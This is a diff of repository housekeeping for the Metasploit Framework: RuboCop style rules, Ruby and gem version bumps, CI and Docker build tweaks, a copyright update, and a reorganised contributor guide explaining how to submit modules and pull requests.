TargetRubyVersion: 2.4
|
||||
|
||||
require:
|
||||
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
|
||||
- ./lib/rubocop/cop/layout/module_description_indentation.rb
|
||||
|
||||
Layout/ModuleHashOnNewLine:
|
||||
Enabled: true
|
||||
|
||||
Layout/ModuleDescriptionIndentation:
|
||||
Enabled: true
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
@@ -59,6 +69,25 @@ Style/Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Layout/FirstArgumentIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/ArgumentAlignment:
|
||||
Enabled: true
|
||||
EnforcedStyle: with_first_argument
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementLineBreak:
|
||||
Enabled: true
|
||||
Description: 'Enforce consistency by breaking hash elements on to new lines'
|
||||
|
||||
Layout/SpaceInsideArrayLiteralBrackets:
|
||||
Enabled: false
|
||||
Description: 'Almost all module metadata have space in brackets'
|
||||
@@ -93,26 +122,26 @@ Style/TrailingCommaInArrayLiteral:
|
||||
|
||||
Metrics/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Metrics/BlockLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Metrics/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Naming/MethodParameterName:
|
||||
Naming/MethodParameterName:
|
||||
Enabled: true
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
@@ -126,13 +155,14 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/HashAlignment:
|
||||
Enabled: false
|
||||
Description: 'aligning info hashes to match these rules is almost impossible to get right'
|
||||
Layout/FirstArrayElementLineBreak:
|
||||
Enabled: true
|
||||
Description: 'This cop checks for a line break before the first element in a multi-line array.'
|
||||
|
||||
Layout/EmptyLines:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
Layout/FirstArrayElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful to force values within the register_options array to have sane indentation'
|
||||
|
||||
Layout/EmptyLinesAroundClassBody:
|
||||
Enabled: false
|
||||
@@ -142,19 +172,24 @@ Layout/EmptyLinesAroundMethodBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/ParameterAlignment:
|
||||
Layout/ExtraSpacing:
|
||||
Description: 'Do not use unnecessary spacing.'
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
# When true, allows most uses of extra spacing if the intent is to align
|
||||
# things with the previous or next line, not counting empty lines or comment
|
||||
# lines.
|
||||
AllowForAlignment: false
|
||||
# When true, allows things like 'obj.meth(arg) # comment',
|
||||
# rather than insisting on 'obj.meth(arg) # comment'.
|
||||
# If done for alignment, either this OR AllowForAlignment will allow it.
|
||||
AllowBeforeTrailingComments: false
|
||||
# When true, forces the alignment of `=` in assignments on consecutive lines.
|
||||
ForceEqualSignAlignment: false
|
||||
|
||||
Style/For:
|
||||
Enabled: false
|
||||
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
Description: 'Single vs double quote fights are largely unproductive.'
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
@@ -163,6 +198,22 @@ Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/PercentLiteralDelimiters:
|
||||
Description: 'Use `%`-literal delimiters consistently.'
|
||||
Enabled: true
|
||||
# Specify the default preferred delimiter for all types with the 'default' key
|
||||
# Override individual delimiters (even with default specified) by specifying
|
||||
# an individual key
|
||||
PreferredDelimiters:
|
||||
default: ()
|
||||
'%i': '[]'
|
||||
'%I': '[]'
|
||||
'%r': '{}'
|
||||
'%w': '[]'
|
||||
'%W': '[]'
|
||||
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
|
||||
VersionChanged: '0.48.1'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
@@ -177,6 +228,16 @@ Style/RedundantBegin:
|
||||
# end
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/SafeNavigation:
|
||||
Description: >-
|
||||
This cop transforms usages of a method call safeguarded by
|
||||
a check for the existence of the object to
|
||||
safe navigation (`&.`).
|
||||
|
||||
This has been disabled as in some scenarios it produced invalid code, and disobeyed the 'AllowedMethods'
|
||||
configuration.
|
||||
Enabled: false
|
||||
|
||||
Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.6.5
|
||||
2.6.6
|
||||
|
||||
+3
-3
@@ -11,8 +11,8 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.5.7'
|
||||
- '2.6.5'
|
||||
- '2.5.8'
|
||||
- '2.6.6'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
@@ -43,7 +43,7 @@ before_install:
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
# Update the bundler
|
||||
- gem update --system
|
||||
- gem update --system 3.0.6
|
||||
- gem install bundler
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
|
||||
+40
-38
@@ -1,64 +1,66 @@
|
||||
# Hello, World!
|
||||
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! Before you get started, review our
|
||||
[Code of Conduct]. There are multiple ways to help beyond just writing code:
|
||||
- [Submit bugs and feature requests] with detailed information about your issue or idea.
|
||||
- [Help fellow users with open issues] or [help fellow committers test recently submitted pull requests].
|
||||
- [Report a security vulnerability in Metasploit itself] to Rapid7.
|
||||
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
|
||||
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
|
||||
|
||||
# Contributing to Metasploit
|
||||
Thank you for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
|
||||
|
||||
## Code Free Contributions
|
||||
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
|
||||
|
||||
- You can [submit bugs and feature requests](https://github.com/rapid7/metasploit-framework/issues/new) with detailed information about your issue or idea:
|
||||
- If you'd like to propose a feature, describe what you'd like to see. Mock ups of console views would be great.
|
||||
- If you're reporting a bug, please be sure to include the expected behaviour, the observed behaviour, and steps to reproduce the problem. Resource scripts, console copy-pastes, and any background on the environment you encountered the bug in would be appreciated. More information can be found [below](#bug-reports).
|
||||
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
|
||||
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
|
||||
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
|
||||
- [Add module documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation). New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
|
||||
|
||||
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
|
||||
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
|
||||
**will** be closed. Sorry!
|
||||
|
||||
## Code Contributions
|
||||
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit). It will help you to get started and avoid some common mistakes.
|
||||
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
|
||||
|
||||
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
|
||||
will be closed. We need to ensure the code we're adding to master is written to a high standard.
|
||||
|
||||
|
||||
### Code Contribution Do's & Don'ts:
|
||||
--
|
||||
#### <u>Pull Requests</u>
|
||||
**Pull request [PR#9966] is a good example to follow.**
|
||||
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`. This helps to:
|
||||
* Protect the process.
|
||||
* Ensures users are aware of commits on the branch being considered for merge.
|
||||
* Allows for a location for more commits to be offered without mingling with other contributor changes.
|
||||
* Allows contributors to make progress while a PR is still being reviewed.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
|
||||
allows for a location for more commits to be offered without mingling with other contributor changes,
|
||||
and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
* **Don't** post questions in older closed PRs.
|
||||
|
||||
Pull request [PR#9966] is a good example to follow.
|
||||
|
||||
#### New Modules
|
||||
|
||||
#### <u>New Modules</u>
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation] showing sample run-throughs.
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
|
||||
anything "serious" can be done with post modules and local exploits.
|
||||
|
||||
#### Library Code
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
|
||||
|
||||
#### <u>Library Code</u>
|
||||
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
|
||||
* **Do** follow [Better Specs] - it's like the style guide for specs.
|
||||
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
|
||||
#### Bug Fixes
|
||||
|
||||
#### <u>Bug Fixes</u>
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
|
||||
|
||||
@@ -99,8 +101,8 @@ curve, so keep it up!
|
||||
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[Better Specs]:http://www.betterspecs.org/
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Metasploit Slack]:https://www.metasploit.com/slack
|
||||
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2018, Rapid7, Inc.
|
||||
Copyright (C) 2006-2020, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
||||
+4
-4
@@ -1,4 +1,4 @@
|
||||
FROM ruby:2.6.5-alpine3.10 AS builder
|
||||
FROM ruby:2.6.6-alpine3.10 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
@@ -27,9 +27,9 @@ RUN apk add --no-cache \
|
||||
zlib-dev \
|
||||
ncurses-dev \
|
||||
git \
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system 3.0.6 \
|
||||
&& bundle install --force --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
|
||||
@@ -8,7 +8,7 @@ gem 'sqlite3', '~>1.3.0'
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
gem 'simplecov'
|
||||
gem 'simplecov', '0.18.2'
|
||||
end
|
||||
|
||||
group :development do
|
||||
@@ -17,9 +17,13 @@ group :development do
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry'
|
||||
gem 'pry-byebug'
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# memory profiling
|
||||
gem 'memory_profiler'
|
||||
# cpu profiling
|
||||
gem 'ruby-prof'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
@@ -36,6 +40,7 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'rubocop'
|
||||
gem 'swagger-blocks'
|
||||
end
|
||||
|
||||
|
||||
+105
-71
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.64)
|
||||
metasploit-framework (5.0.89)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -11,27 +11,30 @@ PATH
|
||||
bcrypt (= 3.1.12)
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
bson
|
||||
concurrent-ruby (= 1.0.5)
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday (<= 0.17.0)
|
||||
faraday
|
||||
faye-websocket
|
||||
filesize
|
||||
hrr_rb_ssh (= 0.3.0.pre2)
|
||||
jsobfu
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.83)
|
||||
metasploit_data_models (= 3.0.10)
|
||||
metasploit_payloads-mettle (= 0.5.16)
|
||||
metasploit-concern (~> 2.0.0)
|
||||
metasploit-credential (~> 3.0.0)
|
||||
metasploit-model (~> 2.0.4)
|
||||
metasploit-payloads (= 1.4.1)
|
||||
metasploit_data_models (~> 3.0.10)
|
||||
metasploit_payloads-mettle (= 0.5.21)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ldap
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
@@ -114,39 +117,42 @@ GEM
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.10.0)
|
||||
arel-helpers (2.11.0)
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
aws-eventstream (1.0.3)
|
||||
aws-partitions (1.251.0)
|
||||
aws-sdk-core (3.84.0)
|
||||
aws-eventstream (~> 1.0, >= 1.0.2)
|
||||
ast (2.4.0)
|
||||
aws-eventstream (1.1.0)
|
||||
aws-partitions (1.310.0)
|
||||
aws-sdk-core (3.94.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.239.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.123.0)
|
||||
aws-sdk-ec2 (1.156.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.32.0)
|
||||
aws-sdk-iam (1.36.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.26.0)
|
||||
aws-sdk-kms (1.30.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.59.0)
|
||||
aws-sdk-s3 (1.63.1)
|
||||
aws-sdk-core (~> 3, >= 3.83.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.1.0)
|
||||
aws-sigv4 (1.1.3)
|
||||
aws-eventstream (~> 1.0, >= 1.0.2)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.1)
|
||||
bindata (2.4.4)
|
||||
bindata (2.4.7)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
bson (4.8.2)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.5)
|
||||
crass (1.0.6)
|
||||
daemons (1.3.1)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.3)
|
||||
@@ -163,14 +169,14 @@ GEM
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (5.1.1)
|
||||
factory_bot (5.2.0)
|
||||
activesupport (>= 4.2.0)
|
||||
factory_bot_rails (5.1.1)
|
||||
factory_bot (~> 5.1.0)
|
||||
factory_bot_rails (5.2.0)
|
||||
factory_bot (~> 5.2.0)
|
||||
railties (>= 4.2.0)
|
||||
faker (2.2.1)
|
||||
i18n (>= 0.8)
|
||||
faraday (0.17.0)
|
||||
faraday (1.0.1)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faye-websocket (0.10.9)
|
||||
eventmachine (>= 0.12.0)
|
||||
@@ -178,22 +184,26 @@ GEM
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
hrr_rb_ssh (0.3.0.pre2)
|
||||
ed25519 (~> 1.2)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jaro_winkler (1.5.4)
|
||||
jmespath (1.4.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.2.0)
|
||||
loofah (2.4.0)
|
||||
json (2.3.0)
|
||||
loofah (2.5.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (0.9.14)
|
||||
metasm (1.0.4)
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (3.0.3)
|
||||
metasploit-credential (3.0.4)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
@@ -207,7 +217,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.83)
|
||||
metasploit-payloads (1.4.1)
|
||||
metasploit_data_models (3.0.10)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -218,25 +228,30 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.5.16)
|
||||
method_source (0.9.2)
|
||||
metasploit_payloads-mettle (0.5.21)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.13.0)
|
||||
minitest (5.14.0)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.3.1)
|
||||
msgpack (1.3.3)
|
||||
multipart-post (2.1.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (5.2.0)
|
||||
net-ldap (0.16.2)
|
||||
net-ssh (6.0.2)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.10.7)
|
||||
nokogiri (1.10.9)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.14.0)
|
||||
octokit (4.18.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.19.1)
|
||||
parser (2.7.1.2)
|
||||
ast (~> 2.4.0)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.4.0)
|
||||
@@ -251,11 +266,14 @@ GEM
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (4.0.1)
|
||||
rack (1.6.11)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.9.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.4)
|
||||
rack (1.6.13)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
rack-test (0.6.3)
|
||||
@@ -273,9 +291,10 @@ GEM
|
||||
activesupport (= 4.2.11.1)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rainbow (3.0.0)
|
||||
rake (13.0.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.6)
|
||||
recog (2.3.7)
|
||||
nokogiri
|
||||
redcarpet (3.5.0)
|
||||
rex-arch (0.1.13)
|
||||
@@ -291,7 +310,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.21)
|
||||
rex-exploitation (0.1.24)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -304,9 +323,10 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.83)
|
||||
rex-powershell (0.1.87)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.4)
|
||||
rex-text
|
||||
rex-registry (0.1.3)
|
||||
@@ -314,56 +334,66 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.21)
|
||||
rex-socket (0.1.23)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.24)
|
||||
rex-text (0.2.25)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rexml (3.2.4)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.9.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
rspec-expectations (~> 3.9.0)
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-core (3.9.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-expectations (3.9.0)
|
||||
rspec-core (3.9.2)
|
||||
rspec-support (~> 3.9.3)
|
||||
rspec-expectations (3.9.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-mocks (3.9.0)
|
||||
rspec-mocks (3.9.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rails (3.9.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
rspec-expectations (~> 3.9.0)
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rails (4.0.0)
|
||||
actionpack (>= 4.2)
|
||||
activesupport (>= 4.2)
|
||||
railties (>= 4.2)
|
||||
rspec-core (~> 3.9)
|
||||
rspec-expectations (~> 3.9)
|
||||
rspec-mocks (~> 3.9)
|
||||
rspec-support (~> 3.9)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.9.0)
|
||||
rspec-support (3.9.3)
|
||||
rubocop (0.82.0)
|
||||
jaro_winkler (~> 1.5.1)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 2.7.0.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
rexml
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 2.0)
|
||||
ruby-macho (2.2.0)
|
||||
ruby-prof (1.3.2)
|
||||
ruby-progressbar (1.10.1)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.1.0)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (2.0.0)
|
||||
rubyzip (2.3.0)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simplecov (0.17.1)
|
||||
simplecov (0.18.2)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov-html (0.12.2)
|
||||
sinatra (1.4.8)
|
||||
rack (~> 1.5)
|
||||
rack-protection (~> 1.4)
|
||||
@@ -375,15 +405,16 @@ GEM
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (0.20.3)
|
||||
thor (1.0.1)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.10)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
ttfunk (1.6.2.1)
|
||||
tzinfo (1.2.7)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2019.3)
|
||||
tzinfo-data (1.2020.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (1.7.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
websocket-driver (0.7.1)
|
||||
@@ -394,7 +425,7 @@ GEM
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.20)
|
||||
yard (0.9.25)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -402,14 +433,17 @@ PLATFORMS
|
||||
DEPENDENCIES
|
||||
factory_bot_rails
|
||||
fivemat
|
||||
memory_profiler
|
||||
